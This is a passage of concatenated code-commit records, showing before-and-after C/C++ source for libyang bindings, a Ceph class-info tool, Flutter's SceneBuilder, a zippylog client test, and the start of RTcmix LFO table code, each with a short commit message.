LY_TREE_DFS_BEGIN(node, next, elem) {\n        s_vector->push_back(std::make_shared<Data_Node>(elem, deleter));\n        LY_TREE_DFS_END(node, next, elem)\n    }\n\n    return s_vector;\n}\n\nData_Node_Leaf_List::Data_Node_Leaf_List(struct lyd_node *node, S_Deleter deleter):\n    Data_Node(node, deleter),\n    node(node),\n    deleter(deleter)\n{};\nData_Node_Leaf_List::~Data_Node_Leaf_List() {};\nS_Value Data_Node_Leaf_List::value() {\n    struct lyd_node_leaf_list *leaf = (struct lyd_node_leaf_list *) node;\n    return std::make_shared<Value>(leaf->value, leaf->value_type, deleter);\n}\nint Data_Node_Leaf_List::change_leaf(const char *val_str) {\n    int ret = lyd_change_leaf((struct lyd_node_leaf_list *) node, val_str);\n    if (ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node_Leaf_List::wd_default() {\n    return lyd_wd_default((struct lyd_node_leaf_list *)node);\n}\nS_Type Data_Node_Leaf_List::leaf_type() {\n    const struct lys_type *type = lyd_leaf_type((const struct lyd_node_leaf_list *) node);\n    if (!type) {\n        check_libyang_error();\n    }\n\n    return std::make_shared<Type>((struct lys_type *) type, deleter);\n};\n\nData_Node_Anydata::Data_Node_Anydata(struct lyd_node *node, S_Deleter deleter):\n    Data_Node(node, deleter),\n    node(node),\n    deleter(deleter)\n{};\nData_Node_Anydata::~Data_Node_Anydata() {};\n\nAttr::Attr(struct lyd_attr *attr, S_Deleter deleter):\n    attr(attr),\n    deleter(deleter)\n{};\nAttr::~Attr() {};\nS_Value Attr::value() {\n    struct lyd_node_leaf_list *leaf = (struct lyd_node_leaf_list *) attr;\n    return std::make_shared<Value>(leaf->value, leaf->value_type, deleter);\n}\nS_Attr Attr::next() LY_NEW(attr, next, Attr);\n\nDifflist::Difflist(struct lyd_difflist *diff, S_Deleter deleter) {\n    diff = diff;\n    deleter = std::make_shared<Deleter>(diff, deleter);\n}\nDifflist::~Difflist() {};\nstd::vector<S_Data_Node> *Difflist::first() {\n    unsigned int i = 0;\n    if (!*diff->first) {\n        return nullptr;\n    }\n\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    for(i = 0; i < sizeof(*diff->first); i++) {\n        s_vector->push_back(std::make_shared<Data_Node>(*diff->first, deleter));\n    }\n\n    return s_vector;\n}\nstd::vector<S_Data_Node> *Difflist::second() {\n    unsigned int i = 0;\n    if (!*diff->second) {\n        return nullptr;\n    }\n\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    for(i = 0; i < sizeof(*diff->second); i++) {\n        s_vector->push_back(std::make_shared<Data_Node>(*diff->second, deleter));\n    }\n\n    return s_vector;\n}\n\nS_Data_Node create_new_Data_Node(struct lyd_node *new_node) {\n    return new_node ? std::make_shared<Data_Node>(new_node, nullptr) : nullptr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2006 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\n#include \"config.h\"\n\n#include \"common\/common_init.h\"\n#include \"common\/arch.h\"\n\n#include <iostream>\n#include <stdlib.h>\n#include <dlfcn.h>\n\n#include \"include\/rbd_types.h\"\n\nvoid usage()\n{\n  cout << \"usage: cclsinfo [-n] [-v] [-a] <cls_file_name>\\n\"\n       << \"\\t-n\\tlist rbd images\\n\"\n       << \"\\t-v\\tshow information about image size, striping, etc.\\n\" << std::endl;\n\n  exit(1);\n}\n\nstatic int char_count = 0;\nstatic char print_char_maybe(char c)\n{\n  if (char_count++)\n    return c;\n\n  return  '\\0';\n}\n\nint main(int argc, const char **argv) \n{\n  vector<const char*> args;\n  DEFINE_CONF_VARS(usage);\n  argv_to_vec(argc, argv, args);\n  env_to_vec(args);\n  common_init(args, \"cclsinfo\", false, true);\n\n  bool opt_name = false, opt_ver = false, opt_arch = false;\n  const char *fname = NULL;\n\n  FOR_EACH_ARG(args) {\n    if (CONF_ARG_EQ(\"name\", 'n')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_name, OPT_BOOL);\n    } else if (CONF_ARG_EQ(\"arch\", 'a')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_arch, OPT_BOOL);\n    } else if (CONF_ARG_EQ(\"ver\", 'v')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_arch, OPT_BOOL);\n    } else  {\n      if (fname)\n        usage();\n      fname = CONF_VAL;\n    }\n  }\n\n  if (!fname)\n    usage();\n\n  if (!opt_name && !opt_ver && !opt_arch) {\n    opt_name = true;\n    opt_ver = true;\n    opt_arch = true;\n  }\n\n  void *handle = dlopen(fname, RTLD_LAZY);\n  if (!handle) {\n    perror(\"dlopen\");\n    exit(1);\n  }\n\n  const char *cls_name = *(const char **)dlsym(handle, \"__cls_name\");\n  if (!cls_name) {\n    cerr << \"cls_name not defined, not a ceph class\\n\" << std::endl;\n    dlclose(handle);\n    exit(1);\n  }\n\n  if (opt_name) {\n    cout << print_char_maybe(' ') << cls_name;\n  }\n\n  if (opt_ver) {\n    int ver_maj = *(int *)dlsym(handle, \"__cls_ver_maj\");\n    int ver_min = *(int *)dlsym(handle, \"__cls_ver_min\");\n    cout << print_char_maybe(' ') << ver_maj << \".\" << ver_min;\n  }\n\n  if (opt_arch) {\n    cout << print_char_maybe(' ') << get_arch();\n  }\n\n  cout << print_char_maybe('\\n');\n\n  dlclose(handle);\n  exit(0);\n\n}\n\n\n<commit_msg>cclsinfo: some fixes<commit_after>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2006 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\n#include \"config.h\"\n\n#include \"common\/common_init.h\"\n#include \"common\/arch.h\"\n\n#include <iostream>\n#include <stdlib.h>\n#include <dlfcn.h>\n\n#include \"include\/rbd_types.h\"\n\nvoid usage()\n{\n  cout << \"usage: cclsinfo [-n] [-v] [-a] <cls_file_name>\\n\"\n       << \"\\t-n\\tlist rbd images\\n\"\n       << \"\\t-v\\tshow information about image size, striping, etc.\\n\" << std::endl;\n\n  exit(1);\n}\n\nstatic int char_count = 0;\nstatic char print_char_maybe(char c)\n{\n  if (char_count++)\n    return c;\n\n  return  '\\0';\n}\n\nint main(int argc, const char **argv) \n{\n  vector<const char*> args;\n  DEFINE_CONF_VARS(usage);\n  argv_to_vec(argc, argv, args);\n  env_to_vec(args);\n\n  bool opt_name = false, opt_ver = false, opt_arch = false;\n  const char *fname = NULL;\n\n  FOR_EACH_ARG(args) {\n    if (CONF_ARG_EQ(\"name\", 'n')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_name, OPT_BOOL);\n    } else if (CONF_ARG_EQ(\"arch\", 'a')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_arch, OPT_BOOL);\n    } else if (CONF_ARG_EQ(\"ver\", 'v')) {\n      CONF_SAFE_SET_ARG_VAL(&opt_ver, OPT_BOOL);\n    } else  {\n      if (fname)\n        usage();\n      fname = CONF_VAL;\n    }\n  }\n\n  if (!fname)\n    usage();\n\n  if (!opt_name && !opt_ver && !opt_arch) {\n    opt_name = true;\n    opt_ver = true;\n    opt_arch = true;\n  }\n\n  void *handle = dlopen(fname, RTLD_LAZY);\n  if (!handle) {\n    perror(\"dlopen\");\n    exit(1);\n  }\n\n  const char *cls_name = *(const char **)dlsym(handle, \"__cls_name\");\n  if (!cls_name) {\n    cerr << \"cls_name not defined, not a ceph class\\n\" << std::endl;\n    dlclose(handle);\n    exit(1);\n  }\n\n  if (opt_name) {\n    cout << print_char_maybe(' ') << cls_name;\n  }\n\n  if (opt_ver) {\n    int ver_maj = *(int *)dlsym(handle, \"__cls_ver_maj\");\n    int ver_min = *(int *)dlsym(handle, \"__cls_ver_min\");\n    cout << print_char_maybe(' ') << ver_maj << \".\" << ver_min;\n  }\n\n  if (opt_arch) {\n    cout << print_char_maybe(' ') << get_arch();\n  }\n\n  cout << print_char_maybe('\\n');\n\n  dlclose(handle);\n  exit(0);\n\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"flutter\/lib\/ui\/compositing\/scene_builder.h\"\n\n#include \"flutter\/lib\/ui\/painting\/matrix.h\"\n#include \"flutter\/lib\/ui\/painting\/shader.h\"\n#include \"flutter\/lib\/ui\/ui_dart_state.h\"\n#include \"flutter\/lib\/ui\/window\/window.h\"\n#include \"lib\/fxl\/build_config.h\"\n#include \"lib\/tonic\/converter\/dart_converter.h\"\n#include \"lib\/tonic\/dart_args.h\"\n#include \"lib\/tonic\/dart_binding_macros.h\"\n#include \"lib\/tonic\/dart_library_natives.h\"\n#include \"third_party\/skia\/include\/core\/SkColorFilter.h\"\n\nnamespace blink {\n\nstatic void SceneBuilder_constructor(Dart_NativeArguments args) {\n  DartCallConstructor(&SceneBuilder::create, args);\n}\n\nIMPLEMENT_WRAPPERTYPEINFO(ui, SceneBuilder);\n\n#define FOR_EACH_BINDING(V)                         \\\n  V(SceneBuilder, pushTransform)                    \\\n  V(SceneBuilder, pushClipRect)                     \\\n  V(SceneBuilder, pushClipRRect)                    \\\n  V(SceneBuilder, pushClipPath)                     \\\n  V(SceneBuilder, pushOpacity)                      \\\n  V(SceneBuilder, pushColorFilter)                  \\\n  V(SceneBuilder, pushBackdropFilter)               \\\n  V(SceneBuilder, pushShaderMask)                   \\\n  V(SceneBuilder, pushPhysicalModel)                \\\n  V(SceneBuilder, pop)                              \\\n  V(SceneBuilder, addPicture)                       \\\n  V(SceneBuilder, addChildScene)                    \\\n  V(SceneBuilder, addPerformanceOverlay)            \\\n  V(SceneBuilder, setRasterizerTracingThreshold)    \\\n  V(SceneBuilder, setCheckerboardOffscreenLayers)   \\\n  V(SceneBuilder, setCheckerboardRasterCacheImages) \\\n  V(SceneBuilder, build)\n\nFOR_EACH_BINDING(DART_NATIVE_CALLBACK)\n\nvoid SceneBuilder::RegisterNatives(tonic::DartLibraryNatives* natives) {\n  natives->Register(\n      {{\"SceneBuilder_constructor\", SceneBuilder_constructor, 1, true},\n       FOR_EACH_BINDING(DART_REGISTER_NATIVE)});\n}\n\nSceneBuilder::SceneBuilder() : layer_builder_(flow::LayerBuilder::Create()) {}\n\nSceneBuilder::~SceneBuilder() = default;\n\nvoid SceneBuilder::pushTransform(const tonic::Float64List& matrix4) {\n  layer_builder_->PushTransform(ToSkMatrix(matrix4));\n}\n\nvoid SceneBuilder::pushClipRect(double left,\n                                double right,\n                                double top,\n                                double bottom) {\n  layer_builder_->PushClipRect(SkRect::MakeLTRB(left, top, right, bottom));\n}\n\nvoid SceneBuilder::pushClipRRect(const RRect& rrect) {\n  layer_builder_->PushClipRoundedRect(rrect.sk_rrect);\n}\n\nvoid SceneBuilder::pushClipPath(const CanvasPath* path) {\n  layer_builder_->PushClipPath(path->path());\n}\n\nvoid SceneBuilder::pushOpacity(int alpha) {\n  layer_builder_->PushOpacity(alpha);\n}\n\nvoid SceneBuilder::pushColorFilter(int color, int blendMode) {\n  layer_builder_->PushColorFilter(static_cast<SkColor>(color),\n                                  static_cast<SkBlendMode>(blendMode));\n}\n\nvoid SceneBuilder::pushBackdropFilter(ImageFilter* filter) {\n  layer_builder_->PushBackdropFilter(filter->filter());\n}\n\nvoid SceneBuilder::pushShaderMask(Shader* shader,\n                                  double maskRectLeft,\n                                  double maskRectRight,\n                                  double maskRectTop,\n                                  double maskRectBottom,\n                                  int blendMode) {\n  layer_builder_->PushShaderMask(\n      shader->shader(),\n      SkRect::MakeLTRB(maskRectLeft, maskRectTop, maskRectRight,\n                       maskRectBottom),\n      static_cast<SkBlendMode>(blendMode));\n}\n\nvoid SceneBuilder::pushPhysicalModel(const RRect& rrect,\n                                     double elevation,\n                                     int color) {\n  layer_builder_->PushPhysicalModel(\n      rrect.sk_rrect,               \/\/\n      elevation,                    \/\/\n      static_cast<SkColor>(color),  \/\/\n      UIDartState::Current()->window()->viewport_metrics().device_pixel_ratio);\n}\n\nvoid SceneBuilder::pop() {\n  layer_builder_->Pop();\n}\n\nvoid SceneBuilder::addPicture(double dx,\n                              double dy,\n                              Picture* picture,\n                              int hints) {\n  layer_builder_->PushPicture(SkPoint::Make(dx, dy),  \/\/\n                              picture->picture(),     \/\/\n                              !!(hints & 1),          \/\/ picture is complex\n                              !!(hints & 2)           \/\/ picture will change\n  );\n}\n\nvoid SceneBuilder::addChildScene(double dx,\n                                 double dy,\n                                 double width,\n                                 double height,\n                                 SceneHost* sceneHost,\n                                 bool hitTestable) {\n#if defined(OS_FUCHSIA)\n  layer_builder_->PushChildScene(SkPoint::Make(dx, dy),            \/\/\n                                 SkSize::Make(width, height),      \/\/\n                                 sceneHost->export_node_holder(),  \/\/\n                                 hitTestable);\n#endif  \/\/ defined(OS_FUCHSIA)\n}\n\nvoid SceneBuilder::addPerformanceOverlay(uint64_t enabledOptions,\n                                         double left,\n                                         double right,\n                                         double top,\n                                         double bottom) {\n  layer_builder_->PushPerformanceOverlay(\n      enabledOptions, SkRect::MakeLTRB(left, top, right, bottom));\n}\n\nvoid SceneBuilder::setRasterizerTracingThreshold(uint32_t frameInterval) {\n  layer_builder_->SetRasterizerTracingThreshold(frameInterval);\n}\n\nvoid SceneBuilder::setCheckerboardRasterCacheImages(bool checkerboard) {\n  layer_builder_->SetCheckerboardRasterCacheImages(checkerboard);\n}\n\nvoid SceneBuilder::setCheckerboardOffscreenLayers(bool checkerboard) {\n  layer_builder_->SetCheckerboardOffscreenLayers(checkerboard);\n}\n\nfxl::RefPtr<Scene> SceneBuilder::build() {\n  fxl::RefPtr<Scene> scene =\n      Scene::create(layer_builder_->TakeLayer(),\n                    layer_builder_->GetRasterizerTracingThreshold(),\n                    layer_builder_->GetCheckerboardRasterCacheImages(),\n                    layer_builder_->GetCheckerboardOffscreenLayers());\n  ClearDartWrapper();\n  layer_builder_.reset();\n  return scene;\n}\n\n}  \/\/ namespace blink\n<commit_msg>Remove use of a SceneBuilder member after deletion (#4209)<commit_after>\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"flutter\/lib\/ui\/compositing\/scene_builder.h\"\n\n#include \"flutter\/lib\/ui\/painting\/matrix.h\"\n#include \"flutter\/lib\/ui\/painting\/shader.h\"\n#include \"flutter\/lib\/ui\/ui_dart_state.h\"\n#include \"flutter\/lib\/ui\/window\/window.h\"\n#include \"lib\/fxl\/build_config.h\"\n#include \"lib\/tonic\/converter\/dart_converter.h\"\n#include \"lib\/tonic\/dart_args.h\"\n#include \"lib\/tonic\/dart_binding_macros.h\"\n#include \"lib\/tonic\/dart_library_natives.h\"\n#include \"third_party\/skia\/include\/core\/SkColorFilter.h\"\n\nnamespace blink {\n\nstatic void SceneBuilder_constructor(Dart_NativeArguments args) {\n  DartCallConstructor(&SceneBuilder::create, args);\n}\n\nIMPLEMENT_WRAPPERTYPEINFO(ui, SceneBuilder);\n\n#define FOR_EACH_BINDING(V)                         \\\n  V(SceneBuilder, pushTransform)                    \\\n  V(SceneBuilder, pushClipRect)                     \\\n  V(SceneBuilder, pushClipRRect)                    \\\n  V(SceneBuilder, pushClipPath)                     \\\n  V(SceneBuilder, pushOpacity)                      \\\n  V(SceneBuilder, pushColorFilter)                  \\\n  V(SceneBuilder, pushBackdropFilter)               \\\n  V(SceneBuilder, pushShaderMask)                   \\\n  V(SceneBuilder, pushPhysicalModel)                \\\n  V(SceneBuilder, pop)                              \\\n  V(SceneBuilder, addPicture)                       \\\n  V(SceneBuilder, addChildScene)                    \\\n  V(SceneBuilder, addPerformanceOverlay)            \\\n  V(SceneBuilder, setRasterizerTracingThreshold)    \\\n  V(SceneBuilder, setCheckerboardOffscreenLayers)   \\\n  V(SceneBuilder, setCheckerboardRasterCacheImages) \\\n  V(SceneBuilder, build)\n\nFOR_EACH_BINDING(DART_NATIVE_CALLBACK)\n\nvoid SceneBuilder::RegisterNatives(tonic::DartLibraryNatives* natives) {\n  natives->Register(\n      {{\"SceneBuilder_constructor\", SceneBuilder_constructor, 1, true},\n       FOR_EACH_BINDING(DART_REGISTER_NATIVE)});\n}\n\nSceneBuilder::SceneBuilder() : layer_builder_(flow::LayerBuilder::Create()) {}\n\nSceneBuilder::~SceneBuilder() = default;\n\nvoid SceneBuilder::pushTransform(const tonic::Float64List& matrix4) {\n  layer_builder_->PushTransform(ToSkMatrix(matrix4));\n}\n\nvoid SceneBuilder::pushClipRect(double left,\n                                double right,\n                                double top,\n                                double bottom) {\n  layer_builder_->PushClipRect(SkRect::MakeLTRB(left, top, right, bottom));\n}\n\nvoid SceneBuilder::pushClipRRect(const RRect& rrect) {\n  layer_builder_->PushClipRoundedRect(rrect.sk_rrect);\n}\n\nvoid SceneBuilder::pushClipPath(const CanvasPath* path) {\n  layer_builder_->PushClipPath(path->path());\n}\n\nvoid SceneBuilder::pushOpacity(int alpha) {\n  layer_builder_->PushOpacity(alpha);\n}\n\nvoid SceneBuilder::pushColorFilter(int color, int blendMode) {\n  layer_builder_->PushColorFilter(static_cast<SkColor>(color),\n                                  static_cast<SkBlendMode>(blendMode));\n}\n\nvoid SceneBuilder::pushBackdropFilter(ImageFilter* filter) {\n  layer_builder_->PushBackdropFilter(filter->filter());\n}\n\nvoid SceneBuilder::pushShaderMask(Shader* shader,\n                                  double maskRectLeft,\n                                  double maskRectRight,\n                                  double maskRectTop,\n                                  double maskRectBottom,\n                                  int blendMode) {\n  layer_builder_->PushShaderMask(\n      shader->shader(),\n      SkRect::MakeLTRB(maskRectLeft, maskRectTop, maskRectRight,\n                       maskRectBottom),\n      static_cast<SkBlendMode>(blendMode));\n}\n\nvoid SceneBuilder::pushPhysicalModel(const RRect& rrect,\n                                     double elevation,\n                                     int color) {\n  layer_builder_->PushPhysicalModel(\n      rrect.sk_rrect,               \/\/\n      elevation,                    \/\/\n      static_cast<SkColor>(color),  \/\/\n      UIDartState::Current()->window()->viewport_metrics().device_pixel_ratio);\n}\n\nvoid SceneBuilder::pop() {\n  layer_builder_->Pop();\n}\n\nvoid SceneBuilder::addPicture(double dx,\n                              double dy,\n                              Picture* picture,\n                              int hints) {\n  layer_builder_->PushPicture(SkPoint::Make(dx, dy),  \/\/\n                              picture->picture(),     \/\/\n                              !!(hints & 1),          \/\/ picture is complex\n                              !!(hints & 2)           \/\/ picture will change\n  );\n}\n\nvoid SceneBuilder::addChildScene(double dx,\n                                 double dy,\n                                 double width,\n                                 double height,\n                                 SceneHost* sceneHost,\n                                 bool hitTestable) {\n#if defined(OS_FUCHSIA)\n  layer_builder_->PushChildScene(SkPoint::Make(dx, dy),            \/\/\n                                 SkSize::Make(width, height),      \/\/\n                                 sceneHost->export_node_holder(),  \/\/\n                                 hitTestable);\n#endif  \/\/ defined(OS_FUCHSIA)\n}\n\nvoid SceneBuilder::addPerformanceOverlay(uint64_t enabledOptions,\n                                         double left,\n                                         double right,\n                                         double top,\n                                         double bottom) {\n  layer_builder_->PushPerformanceOverlay(\n      enabledOptions, SkRect::MakeLTRB(left, top, right, bottom));\n}\n\nvoid SceneBuilder::setRasterizerTracingThreshold(uint32_t frameInterval) {\n  layer_builder_->SetRasterizerTracingThreshold(frameInterval);\n}\n\nvoid SceneBuilder::setCheckerboardRasterCacheImages(bool checkerboard) {\n  layer_builder_->SetCheckerboardRasterCacheImages(checkerboard);\n}\n\nvoid SceneBuilder::setCheckerboardOffscreenLayers(bool checkerboard) {\n  layer_builder_->SetCheckerboardOffscreenLayers(checkerboard);\n}\n\nfxl::RefPtr<Scene> SceneBuilder::build() {\n  fxl::RefPtr<Scene> scene =\n      Scene::create(layer_builder_->TakeLayer(),\n                    layer_builder_->GetRasterizerTracingThreshold(),\n                    layer_builder_->GetCheckerboardRasterCacheImages(),\n                    layer_builder_->GetCheckerboardOffscreenLayers());\n  ClearDartWrapper();\n  return scene;\n}\n\n}  \/\/ namespace blink\n<|endoftext|>"}
{"text":"<commit_before>\/\/  Copyright 2010 Gregory Szorc\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\n#include <zippylog\/client.hpp>\n#include <zippylog\/device\/server.hpp>\n\n#include <gtest\/gtest.h>\n\nusing ::std::invalid_argument;\nusing ::std::string;\nusing ::std::vector;\nusing ::zippylog::device::Server;\nusing ::zippylog::device::ServerStartParams;\nusing ::zippylog::Store;\nusing ::zmq::context_t;\n\nnamespace zippylog {\nnamespace client {\n\nclass ClientTest : public ::testing::Test\n{\n    protected:\n        Server * server;\n        Store * store;\n        context_t ctx;\n\n        ClientTest() :\n            server(NULL),\n            store(NULL),\n            ctx(2)\n        { }\n\n        ~ClientTest() {\n            if (this->server) {\n                this->server->Shutdown();\n                delete this->server;\n            }\n\n            if (this->store) delete this->store;\n        }\n\n        Server * GetServer(string store_path, string &endpoint)\n        {\n            if (this->server) {\n                delete this->server;\n                this->server = NULL;\n            }\n\n            ServerStartParams p1;\n            p1.listen_endpoints.push_back(\"inproc:\/\/test00\");\n            endpoint = \"inproc:\/\/test00\";\n            p1.store_path = store_path;\n            p1.ctx = &this->ctx;\n\n            \/\/ disable log writing\n            p1.log_bucket.clear();\n            p1.log_stream_set.clear();\n\n            this->server = new Server(p1);\n            server->RunAsync();\n\n            return this->server;\n        }\n\n        Store * GetStore(string path)\n        {\n            if (this->store) {\n                delete this->store;\n                this->store = NULL;\n            }\n\n            this->store = Store::CreateStore(path);\n\n            return this->store;\n        }\n\n        context_t * GetContext() {\n            return &this->ctx;\n        }\n};\n\nTEST_F(ClientTest, StartParamValidation)\n{\n    ASSERT_TRUE(true);\n}\n\nTEST_F(ClientTest, SynchronousTimeout)\n{\n    string endpoint;\n    Server *s = this->GetServer(\"simpledirectory:\/\/test\/stores\/00-simple\", endpoint);\n    Client c(this->GetContext(), endpoint);\n\n    protocol::StoreInfo si;\n    \/\/ it is not reasonable to expect the server to respond in 1 microsecond\n    \/\/ although, it could be possible\n    ASSERT_FALSE(c.StoreInfo(si, 1));\n}\n\nTEST_F(ClientTest, StoreInfoSynchronous)\n{\n    string endpoint;\n    string store_path = \"simpledirectory:\/\/test\/stores\/00-simple\";\n    Server *s = this->GetServer(store_path, endpoint);\n    Store *store = this->GetStore(store_path);\n\n    Client c(this->GetContext(), endpoint);\n\n    protocol::StoreInfo si;\n    ASSERT_TRUE(c.StoreInfo(si));\n    protocol::StoreInfo expected;\n    ASSERT_TRUE(store->StoreInfo(expected));\n\n    ASSERT_TRUE(si.SerializeAsString() == expected.SerializeAsString());\n}\n\n}} \/\/ namespaces<commit_msg>implement synchronous Get basic unit test<commit_after>\/\/  Copyright 2010 Gregory Szorc\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\n#include <zippylog\/client.hpp>\n#include <zippylog\/device\/server.hpp>\n\n#include <gtest\/gtest.h>\n\nusing ::std::invalid_argument;\nusing ::std::string;\nusing ::std::vector;\nusing ::zippylog::device::Server;\nusing ::zippylog::device::ServerStartParams;\nusing ::zippylog::Store;\nusing ::zmq::context_t;\n\nnamespace zippylog {\nnamespace client {\n\nclass ClientTest : public ::testing::Test\n{\n    protected:\n        Server * server;\n        Store * store;\n        context_t ctx;\n\n        ClientTest() :\n            server(NULL),\n            store(NULL),\n            ctx(2)\n        { }\n\n        ~ClientTest() {\n            if (this->server) {\n                this->server->Shutdown();\n                delete this->server;\n            }\n\n            if (this->store) delete this->store;\n        }\n\n        Server * GetServer(string store_path, string &endpoint)\n        {\n            if (this->server) {\n                delete this->server;\n                this->server = NULL;\n            }\n\n            ServerStartParams p1;\n            p1.listen_endpoints.push_back(\"inproc:\/\/test00\");\n            endpoint = \"inproc:\/\/test00\";\n            p1.store_path = store_path;\n            p1.ctx = &this->ctx;\n\n            \/\/ disable log writing\n            p1.log_bucket.clear();\n            p1.log_stream_set.clear();\n\n            this->server = new Server(p1);\n            server->RunAsync();\n\n            return this->server;\n        }\n\n        Store * GetStore(string path)\n        {\n            if (this->store) {\n                delete this->store;\n                this->store = NULL;\n            }\n\n            this->store = Store::CreateStore(path);\n\n            return this->store;\n        }\n\n        context_t * GetContext() {\n            return &this->ctx;\n        }\n};\n\nTEST_F(ClientTest, StartParamValidation)\n{\n    ASSERT_TRUE(true);\n}\n\nTEST_F(ClientTest, SynchronousTimeout)\n{\n    string endpoint;\n    Server *s = this->GetServer(\"simpledirectory:\/\/test\/stores\/00-simple\", endpoint);\n    Client c(this->GetContext(), endpoint);\n\n    protocol::StoreInfo si;\n    \/\/ it is not reasonable to expect the server to respond in 1 microsecond\n    \/\/ although, it could be possible\n    ASSERT_FALSE(c.StoreInfo(si, 1));\n}\n\nTEST_F(ClientTest, StoreInfoSynchronous)\n{\n    string endpoint;\n    string store_path = \"simpledirectory:\/\/test\/stores\/00-simple\";\n    Server *s = this->GetServer(store_path, endpoint);\n    Store *store = this->GetStore(store_path);\n\n    Client c(this->GetContext(), endpoint);\n\n    protocol::StoreInfo si;\n    ASSERT_TRUE(c.StoreInfo(si));\n    protocol::StoreInfo expected;\n    ASSERT_TRUE(store->StoreInfo(expected));\n\n    ASSERT_TRUE(si.SerializeAsString() == expected.SerializeAsString());\n}\n\nTEST_F(ClientTest, GetSynchronous)\n{\n    string endpoint;\n    string store_path = \"simpledirectory:\/\/test\/stores\/01-singlestream\";\n    Server *s = this->GetServer(store_path, endpoint);\n    Store *store = this->GetStore(store_path);\n\n    Client c(this->GetContext(), endpoint);\n\n    StreamSegment segment;\n    ASSERT_TRUE(c.Get(\"\/A\/B\/2010-11-26-07\", 0, segment, 5000000));\n\n    EXPECT_EQ(segment.EnvelopesSent, segment.Envelopes.size());\n    EXPECT_EQ(160, segment.EnvelopesSent);\n}\n\n}} \/\/ namespaces<|endoftext|>"}
{"text":"<commit_before>\/* RTcmix  - Copyright (C) 2004  The RTcmix Development Team\n   See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n   the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <rtcmix_types.h>\n#include <PField.h>\n#include <ugens.h>\t\t\/\/ for warn, die\n\n\/\/ Functions for creating LFO PFields.    -John Gibson, 11\/20\/04\n\nextern int resetval;\t\t\/\/ declared in src\/rtcmix\/minc_functions.c\n\nextern \"C\" {\nHandle maketable(const Arg args[], const int nargs); \/\/ defined in table.cpp\n}\n\n\n\/\/ --------------------------------------------------------- local utilities ---\nstatic Handle\n_createPFieldHandle(PField *pfield)\n{\n\tHandle handle = (Handle) malloc(sizeof(struct _handle));\n\thandle->type = PFieldType;\n\thandle->ptr = (void *) pfield;\n\treturn handle;\n}\n\n\/\/ Create an appropriate TablePField from a string description.\n\/\/ We use ideal waveforms instead of building them up from harmonics.\n\/\/ For square waves, this avoids the ripple that we'd get otherwise.\n\nstatic TablePField *\n_makewavetable(const char *wavetype)\n{\n\tint nargs;\n\tArg *mtargs;\n\tconst int tabsize = 1000;\n\n\tif (strncmp(wavetype, \"sine\", 3) == 0) {\n\t\tnargs = 3;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"wave\";\n\t\tmtargs[1] = tabsize;\n\t\tmtargs[2] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"sawup\", 4) == 0) {\n\t\tnargs = 6;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = -1.0;\n\t\tmtargs[4] = tabsize;\n\t\tmtargs[5] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"sawdown\", 3) == 0) {\n\t\tnargs = 6;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = 1.0;\n\t\tmtargs[4] = tabsize;\n\t\tmtargs[5] = -1.0;\n\t}\n\telse if (strncmp(wavetype, \"square\", 3) == 0) {\n\t\tnargs = 10;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = 